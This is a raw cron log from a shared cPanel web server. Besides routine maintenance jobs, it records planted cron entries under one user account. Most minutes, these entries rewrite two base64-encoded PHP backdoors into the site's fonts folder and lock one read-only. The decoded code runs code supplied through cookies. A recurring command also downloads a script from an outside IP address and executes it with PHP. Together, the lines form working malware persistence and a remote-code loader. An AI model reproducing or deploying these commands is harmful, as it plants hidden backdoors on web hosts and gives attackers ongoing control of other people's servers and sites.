Aug 31 18:31:02 ip-184-168-122-23 CROND[11273]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:31:02 ip-184-168-122-23 CROND[11275]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 18:31:02 ip-184-168-122-23 CROND[11274]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 18:32:02 ip-184-168-122-23 CROND[11471]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 18:32:02 ip-184-168-122-23 CROND[11473]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:32:02 ip-184-168-122-23 CROND[11475]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:32:02 ip-184-168-122-23 CROND[11474]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 18:32:02 ip-184-168-122-23 CROND[11476]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 18:33:01 ip-184-168-122-23 CROND[11576]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 18:33:01 ip-184-168-122-23 CROND[11580]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:33:01 ip-184-168-122-23 CROND[11579]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:33:01 ip-184-168-122-23 CROND[11578]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 18:34:01 ip-184-168-122-23 CROND[11680]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 18:34:01 ip-184-168-122-23 CROND[11682]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:34:01 ip-184-168-122-23 CROND[11683]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 18:34:01 ip-184-168-122-23 CROND[11684]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 18:34:01 ip-184-168-122-23 CROND[11685]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:35:01 ip-184-168-122-23 CROND[11782]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:35:01 ip-184-168-122-23 CROND[11783]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:35:01 ip-184-168-122-23 CROND[11785]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 18:35:01 ip-184-168-122-23 CROND[11786]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 18:35:01 ip-184-168-122-23 CROND[11788]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 18:35:01 ip-184-168-122-23 CROND[11789]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 18:35:01 ip-184-168-122-23 CROND[11790]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 18:35:01 ip-184-168-122-23 CROND[11784]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Aug 31 18:36:01 ip-184-168-122-23 CROND[11884]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 18:36:01 ip-184-168-122-23 CROND[11886]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 18:36:01 ip-184-168-122-23 CROND[11887]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:36:01 ip-184-168-122-23 CROND[11888]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 18:36:01 ip-184-168-122-23 CROND[11889]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:37:01 ip-184-168-122-23 CROND[11986]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:37:01 ip-184-168-122-23 CROND[11987]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:37:01 ip-184-168-122-23 CROND[11988]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 18:37:01 ip-184-168-122-23 CROND[11989]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 18:38:01 ip-184-168-122-23 CROND[12070]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 18:38:01 ip-184-168-122-23 CROND[12072]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 18:38:01 ip-184-168-122-23 CROND[12073]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:38:01 ip-184-168-122-23 CROND[12075]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:38:01 ip-184-168-122-23 CROND[12076]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 18:39:01 ip-184-168-122-23 CROND[12172]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 18:39:01 ip-184-168-122-23 CROND[12176]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 18:39:01 ip-184-168-122-23 CROND[12173]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 18:39:01 ip-184-168-122-23 CROND[12175]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:39:01 ip-184-168-122-23 CROND[12174]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:40:01 ip-184-168-122-23 CROND[12367]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 18:40:01 ip-184-168-122-23 CROND[12370]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:40:01 ip-184-168-122-23 CROND[12373]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 18:40:01 ip-184-168-122-23 CROND[12375]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 18:40:01 ip-184-168-122-23 CROND[12372]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 18:40:01 ip-184-168-122-23 CROND[12379]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 18:40:01 ip-184-168-122-23 CROND[12380]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 18:40:01 ip-184-168-122-23 CROND[12378]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:41:01 ip-184-168-122-23 CROND[12471]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 18:41:01 ip-184-168-122-23 CROND[12472]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:41:01 ip-184-168-122-23 CROND[12473]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 18:41:01 ip-184-168-122-23 CROND[12475]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:42:01 ip-184-168-122-23 CROND[12553]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 18:42:01 ip-184-168-122-23 CROND[12552]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 18:42:01 ip-184-168-122-23 CROND[12555]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:42:01 ip-184-168-122-23 CROND[12554]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:42:01 ip-184-168-122-23 CROND[12557]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 18:43:01 ip-184-168-122-23 CROND[12745]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:43:01 ip-184-168-122-23 CROND[12748]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
